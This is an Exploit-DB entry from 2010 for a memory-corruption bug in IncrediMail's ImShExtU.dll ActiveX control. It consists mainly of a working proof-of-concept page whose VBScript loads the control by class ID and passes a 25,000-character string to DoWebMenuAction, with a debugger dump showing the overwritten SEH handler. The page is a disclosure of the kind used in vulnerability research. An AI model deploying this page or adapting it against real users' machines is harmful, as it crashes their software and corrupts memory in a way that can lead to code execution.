IncrediMail - 'ImShExtU.dll' ActiveX Memory Corruption

EDB-ID:

12605


Author:

Lincoln

Type:

dos


Platform:

Windows

Date:

2010-05-14


<html>
<!--
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        |  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
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        |                                                                  |
        |                                       http://www.corelan.be:8800 |
        |                                              security@corelan.be |
        |                                                                  |
        |-------------------------------------------------[ EIP Hunters ]--|

# Software      : Incredimail (ImShExtU.dll)
# Reference     : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-038
# Author        : Lincoln
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : SEH
# Greetz to     : Corelan Security Team 
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
#0013F1A4   41414141  AAAA
#0013F1A8   41414141  AAAA
#0013F1AC   41414141  AAAA  Pointer to next SEH record
#0013F1B0   41414141  AAAA  SE handler
#0013F1B4   41414141  AAAA
#0013F1B8   41414141  AAAA
#
-->

<object classid='clsid:F8984111-38B6-11D5-8725-0050DA2761C4' id='target' ></object>
<script language='vbscript'>


crash=String(25000, "A")
target.DoWebMenuAction crash


</script>
<b><center>IncrediMail ImShExtU.dll ActiveX Memory Corruption</b></center>
</html>